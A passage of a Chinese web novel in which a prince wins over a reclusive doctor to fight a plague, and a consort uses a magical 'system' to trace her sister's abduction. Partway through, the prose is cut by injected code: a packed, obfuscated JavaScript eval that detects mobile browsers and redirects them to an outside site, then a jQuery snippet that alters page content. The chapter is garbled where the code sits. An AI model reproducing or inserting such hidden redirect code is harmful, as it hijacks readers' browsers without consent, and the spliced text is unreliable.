王友的话音刚落,齐思铭身旁一位将领冷哼了一声。
此人正是齐思铭的另一位部下,张唯。
与王友不同,张唯向来信奉的是最直接的手段。
“什么狗屁神医,什么三不救,我看这些都不过是故弄玄虚的把戏罢了!”
“如今淮北是什么光景?百姓们日日都在等死,哪还有时间跟他耗着?”
帐中几位部下也都纷纷附和,连日来疫病蔓延,别说是百姓了,就连他们各个都人心惶惶。
齐思铭垂着眼,他没有看张唯,指尖有一搭没一搭地敲着桌面。
“绑来?”他的语气中听不出喜怒,“他若存心不救,纵然人在此处,又有何用?我求的是医术,不是人。”
“王爷,”王友像是想到什么一样,补充道,“在下查到,这位孙神医,性情孤僻,不求名利,平生所愿,唯有一物。”
“龙血藤。”
这三个字一出,帐内瞬间安静下来。
这龙血藤是传说中的奇药,据说有活死人肉白骨之效,可数百年来,只闻其名,未见其踪。
“这不比绑人还难!”张唯嗤笑了一声,“多少人想找这东西,连根毛都没看着。”
齐思铭原本敲击着桌面的手指,不知何时停了下来,他长久地垂着眼,纤长的睫毛下投出一片晦暗的阴影,让人看不清他此刻的情绪。
帐中的部下们此刻全都都屏住了呼吸,连张唯也识趣地闭上了嘴,所有人的目光都汇集在主位上那个沉默的男人身上。
他们知道,王爷正在权衡,而他的每一个决定,都关乎着淮北百姓的生死。
时间仿佛在这一刻被拉长。
不知过了多久,齐思铭终于抬起头。
“王友。”齐思铭开口。
“属下在!”
“淮北堪舆图。”
王友不敢有丝毫怠慢,立刻从一旁的木箱中取出一卷羊皮地图,小心翼翼地在桌案上铺开。
那是一副极为详尽的地图,山川、河流、城池、关隘,无一不备。
齐思铭站起身,俯身在地图之上,目光从青峰山的位置开始,一寸寸地扫过图上的山脉与河道。
最终,停在了一处人迹罕至的深谷标记上。
“天下万物,皆有其生长规律。”齐思铭划过图上一片深红色的区域,“龙血藤喜暖畏寒,好湿恶涝,多生于悬崖峭壁的岩石缝隙中,且需朝露晚霜滋养。
而符合这些条件的,整个淮北不出三处。”
帐中方才还因疫病与龙血藤而焦躁的众人,此刻的心中只剩下无声的震动。
谁能想到,在他们因为这传说中的神药而束手无策的时候,他们的王爷,竟能冷静地将一个几乎不可能完成的任务,拆解成清晰可行的步骤。
这哪里是寻药,这分明泰山崩于前而色不变,于绝境之中劈开一条生路。
青峰山山路崎岖,齐思铭只带了王友与四名亲卫,轻车简从,步行上山。
神医的茅庐掩在半山腰一片竹林深处,简陋得与寻常山野村夫的居所无异。
院中晾晒着各色草药,刚进门,浓郁的中药香便扑鼻而来。
一位身形干瘦的老者正在院中捣药,听见脚步声,头也未抬,声音悠闲地说道:“闲人免入,求医滚蛋!”
王友面色一沉,正要发作,齐思铭却上前一步,躬身行了一礼。
“晚辈齐思铭,冒昧来访,还望先生见谅。”
那老者捣药的动作一顿,抬起头,将齐思铭从头到脚打量了一遍,最后嗤笑一声:“齐王爷?我这破茅庐可招待不起。”
齐思铭似乎是没有听到老者口中的揶揄,依旧是再次躬身,“先生说笑了。晚辈此番前来,并非为自己,而是为淮北正饱受疫病之苦的万千百姓,恳请先生出山,救他们于水火。”
听到“百姓”二次,孙神医终于停下了手中的动作,他抬头看向齐思铭,半晌,嘴角扯出一抹讥笑。
“救他们?”他重复了一遍,像是在品味这句话有多可笑,“王爷真是一副慈悲心肠。只可惜,人各有命,富贵在天。”
“是病是死,那是他们的定数。便是全都死绝了,那也是他们的命。”
“你!”
王友的拳头已经捏得咯咯作响。
齐思铭却恍若未闻,从袖中取出一卷图纸,双手奉上。
“晚辈听闻先生之名,知先生风骨,不敢以俗物相扰。今日前来,除了求医,还有一事。”
他顿了顿,声音诚恳。
“晚辈于医术一窍不通,但却在堪舆地理上略有心得。此图详录了淮北山川地貌与气候变迁,或可为先生寻觅‘龙血藤’,提供一二助力。”
听到“龙血藤”三个字,孙神医脸上的表情一点点褪去。
过了足足半晌,他才哑着嗓子,从牙缝里挤出几个字,“图,拿来给我看看。”
只看了一眼,他的脸色就变了。
堪舆图他也曾见过不少,可能将堪舆图做到如此详尽的,只此一份。
图上的三处用朱砂红标记的地方尤为醒目。
“断龙崖,南坡七百尺处,背阴向阳,午后日照不过三时,可避烈日灼伤。晨间雾气最重,可保藤身湿润。”
“一线天,谷底有暗河,水汽充沛,岩壁为青石岩质,多天然裂隙,利于根系攀附。”
“小青峰,此山土质偏红,富含铁石,山顶有一小潭,常年不涸,湿度适宜。据前朝旧志,此地曾有异香传出,疑为龙血藤之气。”
他沉默了许久,将图纸小心翼翼地卷起,重新看向齐思铭。
“你倒是与那些草包权贵不同。”孙神医开口。
“不过……”
“断龙崖,一线天,小青峰……王爷倒是会挑地方。这图上标记的每一处,都是寻常人有去无回的绝地险境。”
“你莫不是想让老夫这一把老骨头,为了你这虚无缥缈的几句推测,就去那悬崖峭壁上拼命?”
齐思铭闻言,只是淡淡一笑,“先生说笑了。”
“先生乃是悬壶济世的国手,晚辈怎敢劳烦先生亲赴险境。”
“晚辈不才,麾下尚有几位粗通拳脚的武人。这采药之事,自当由他们代劳。别说是这三处险地,便是刀山火海,晚辈也定会为先生将‘龙血藤’取来。”
他的声音不疾不徐,但话语中的分量,却让孙神医无法忽视。
“这份礼,老夫收了。不过,老夫从不欠人人情。你想让我下山,还需回答我一个问题。”
他伸出一根手指,指向西边。
“西山矿场有个矿工,三十出头,体虚乏力,咳痰带血,盗汗不止已有月余。镇上的大夫说是痨病,药吃了一箩筐,人却一天比一天虚。你若能说出个子丑寅卯,老夫便随你走一趟。”
这分明是强人所难。
王友急道:“王爷,他这是刁难您!”
齐思明却抬手示意他安静,他凝神思索片刻,并未直接回答病理,反而问道:“除了这些,他生活起居可有异处?譬如饮食、作息,或是水源?”
孙神医眼中闪过一丝不易察觉的光芒,嘴角露出一丝玩味的笑:“哦?他与旁人饮食无异,唯独饮水,取自后山北坡的一道山泉。”
“北坡的山泉……”齐思铭低声重复,脑海中却不自觉地浮现出那张堪舆图。
他抬起头,直视孙神医。
“晚辈虽不知病理,但我上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315873|182991||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
山时见西山北坡林木茂密,地面阴湿,日光难至,想必是常年瘴气弥漫。矿工劳作,肺腑本就易损,若再日日饮用此等阴湿之地渗出的泉水,其中恐有肉眼难见的毒物。长年累月,毒素侵入脏腑,症状与痨病相似,但病根迥异。寻常汤药,自然无用。”
王友目瞪口呆,他完全没听懂,但他看懂了孙神医的表情。
孙神医死死盯着齐思铭,半晌,突然放声大笑。
“好!好一个‘病根迥异’!哈哈哈!天下人都道齐王爷不容小觑,今日一见,才知其才智谋略,远胜虚名!”
他将药杵往石臼里一扔,转身便进屋收拾东西。
“走!去看看你说的,是不是你想的那样!”
而与此同时,千里之外的山城高府,气氛同样凝重。
高玥独自站在高盼的闺房之中。
风清庵一行,扑了个空。
庵里的姑子说高盼从未去过,那这条线索便彻底断了。
房间里一尘不染,物件摆放得整整齐齐,熏香的味道都恰到好处,仿佛主人只是暂时外出。
“难道是她偷偷溜出去散心几天?还是我多虑了?”
她屏退了所有下人,关上房门。
【系统,启动环境扫描。】
一道淡蓝色的光幕在她眼前展开,迅速扫过整个房间。
片刻后,在梳妆台的一条桌腿下,一个微弱的红点闪烁起来。
高玥走过去,从那处捻起一点几乎看不见的白色粉末。
粉末无色无味,她放在鼻端轻嗅,随即感到一阵轻微的眩晕。
迷药。
高玥的眼神骤然变冷。
她的视线在房中再次查看,最后定格在妆台的一个角落。
那里放着一枚平安符,这本该是高盼贴身之物。
她走过去,正要拿起,系统的提示音在脑中响起。
【物品:平安福】
【最后接触人:张婆子】
【最后接触时间:两个时辰前】
张婆子?
在宿主的记忆中,这个张婆子是高盼的贴身乳娘,看着她长大的。
l两个时辰前?
高盼失踪已近一日,为何张婆子在两个时辰前还会接触到这枚平安符?
她一言不发,快步走出房间。
“张婆子呢?”她抓住一个小丫鬟问道。
小丫鬟吓了一跳,怯生生地回话:“回……回娘娘,张嬷嬷一早就告了假,说家里亲戚病重,要回去几天。”
告假?
在这个节骨眼上?
所有的线索在瞬间串联起来:
被刻意打扫过的房间,遗落的迷药粉末,本该随身携带却被留下的平安符,以及突然“告假”的张婆子。
高玥只觉一股寒气从背脊升起,她强迫自己冷静下来,转身往回走。
当务之急,不能打草惊蛇,而是要找出张婆子和高盼的下落。
她心事重重地穿过花园,一群身着彩衣的舞姬正嬉笑着经过。
这些舞姬是这两日给皇帝献舞的舞姬,一阵清风拂过,高玥的脚步猛地一顿。
那香气,混杂在廉价的脂粉味中,若有若无,却带着一丝熟悉的,令人微微眩晕的甜腻。
跟刚刚在房中那个粉末的味道一样!
她快步走过去,拦住为首的一人,声音里听不出情绪:“你们是从哪里来的?”
那舞姬被她的气势所慑,不敢隐瞒,连忙屈膝道:“回贵妃娘娘,奴婢们来自红袖阁。”
红袖阁。
张婆子,迷药,红袖阁的舞姬……
线索没有断。
它只是指向了一个更加黑暗的深渊。